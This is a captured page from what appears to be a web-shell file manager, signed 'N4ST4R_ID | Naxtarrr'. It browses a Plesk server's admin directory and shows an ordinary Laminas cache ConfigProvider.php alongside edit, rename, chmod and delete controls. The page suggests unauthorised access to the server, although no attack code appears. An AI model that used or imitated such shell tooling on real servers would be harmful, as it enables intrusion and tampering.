Submit
Path:
~
/
/
opt
/
psa
/
admin
/
plib
/
modules
/
monitoring
/
vendor
/
laminas
/
laminas-cache
/
src
/
File Content:
ConfigProvider.php
<?php namespace PleskMonitoring\Laminas\Cache; use PleskMonitoring\Laminas\Cache\Command\DeprecatedStorageFactoryConfigurationCheckCommand; use PleskMonitoring\Laminas\Cache\Command\DeprecatedStorageFactoryConfigurationCheckCommandFactory; use PleskMonitoring\Laminas\Cache\Service\StorageAdapterFactory; use PleskMonitoring\Laminas\Cache\Service\StorageAdapterFactoryFactory; use PleskMonitoring\Laminas\Cache\Service\StorageAdapterFactoryInterface; use PleskMonitoring\Laminas\Cache\Service\StoragePluginFactory; use PleskMonitoring\Laminas\Cache\Service\StoragePluginFactoryFactory; use PleskMonitoring\Laminas\Cache\Service\StoragePluginFactoryInterface; use PleskMonitoring\Laminas\ServiceManager\ServiceManager; use PleskMonitoring\Symfony\Component\Console\Command\Command; use function class_exists; /** * @psalm-import-type ServiceManagerConfiguration from ServiceManager */ class ConfigProvider { public const ADAPTER_PLUGIN_MANAGER_CONFIGURATION_KEY = 'storage_adapters'; /** * Return default configuration for laminas-cache. * * @return array */ public function __invoke() { return ['dependencies' => $this->getDependencyConfig(), 'laminas-cli' => $this->getCliConfig()]; } /** * Return default service mappings for laminas-cache. * * @return ServiceManagerConfiguration */ public function getDependencyConfig() { $dependencies = ['abstract_factories' => [Service\StorageCacheAbstractServiceFactory::class], 'factories' => [Storage\AdapterPluginManager::class => Service\StorageAdapterPluginManagerFactory::class, Storage\PluginManager::class => Service\StoragePluginManagerFactory::class, StoragePluginFactory::class => StoragePluginFactoryFactory::class, StoragePluginFactoryInterface::class => StoragePluginFactoryFactory::class, StorageAdapterFactory::class => StorageAdapterFactoryFactory::class, StorageAdapterFactoryInterface::class => StorageAdapterFactoryFactory::class]]; if (class_exists(Command::class)) { $dependencies['factories'] += [DeprecatedStorageFactoryConfigurationCheckCommand::class => DeprecatedStorageFactoryConfigurationCheckCommandFactory::class]; } return $dependencies; } /** * @return array<string,mixed> */ public function getCliConfig() : array { if (!class_exists(Command::class)) { return []; } return ['commands' => [DeprecatedStorageFactoryConfigurationCheckCommand::NAME => DeprecatedStorageFactoryConfigurationCheckCommand::class]]; } }
Edit
Rename
Chmod
Delete
FILE
FOLDER
INFO
Name
Size
Permission
Action
Command
---
0755
Exception
---
0755
Pattern
---
0755
Psr
---
0755
Service
---
0755
Storage
---
0755
ConfigProvider.php
2581 bytes
0644
Module.php
387 bytes
0644
N4ST4R_ID | Naxtarrr